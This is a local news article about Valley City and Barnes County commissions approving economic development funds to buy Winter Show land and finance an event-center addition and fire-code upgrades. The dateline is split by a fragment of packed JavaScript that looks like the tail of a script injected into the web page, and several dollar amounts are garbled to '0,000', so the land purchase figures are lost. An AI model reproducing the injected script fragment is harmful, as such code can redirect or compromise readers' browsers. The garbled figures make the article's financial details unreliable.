VALLEY inrib|var|u0026u|referrer|harab||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) – A proposal to build an addition to the North Dakota Winter Show Event Center for offices, a ticket area and atrium took a step forward on August 15 after the Barnes County Commission and the Valley City Commission approved requests by the Valley City-Barnes County Development Corporation of 0,000 to purchase 2.6 acres of land owned by the NDWS. The total purchase price of the land is 0,000. The proceeds from the land sale would then be used to fund the Winter Show building addition.
Director of Development Jennifer Feist made a request to the County Commission to approve using $150,000 of economic development funds. The Commission approved on a 4 to one vote, Rodger Berntson voting against the motion.
Later, Feist made a request to the City Commission to approve using $150,000 of economic development funds. The City Commission unanimously approved the request.
Feist said the Development Corporation would allow the Winter Show to use the land for overflow parking for events until the land in the Technology Park is developed. The Winter Show owns additional land east of the Winter Show complex, which could also be used for parking.
Under the plan, the front entrance of the North Dakota Winter Show Event Center would be expanded by about 3,360 square feet for office space, new ticket office and atrium. The estimated cost of that portion of the project is $350,000. Another $150,000 is needed to install the additional doors required for fire protection, a water line to the building, and a fire wall required for the addition to meet the city fire code. The total project investment is about $500,000.
Feist also said the North Dakota Winter Show will submit a request to the Visitor’s Committee for $200,000 from the Food & Beverage Fund to finance the balance of the project.
Earlier this year, the city building inspector and fire chief said more exits and a sprinkler system will have to be constructed in the building to meet fire codes. The Winter Show Board committed to fund raising to cover the cost of the sprinkler system. The Winter Show has three years to install the sprinkler system; however, the doors would be installed immediately.
North Dakota Winter Show manager Dawn Riley said the Winter Show board approved the building addition and fire protection upgrades earlier this week. But she said a structural engineer will inspect the building to see if the facility can handle the installation of more fire doors to meet the city code. Riley said the city told her that the fire doors would have to be installed whether they build a new structure or not.
The Development Corporation Board said more office space is needed in the Rosebud Visitors Center to house public services lost when Job Service closed its Valley City office about 18 months ago. Feist said the Corporation has taken on the responsibility of assisting individuals seeking employment and businesses looking to hire in addition to its retention efforts. Under the plan, the North Dakota Winter Show offices would move out of the Rosebud building once the construction project is completed.
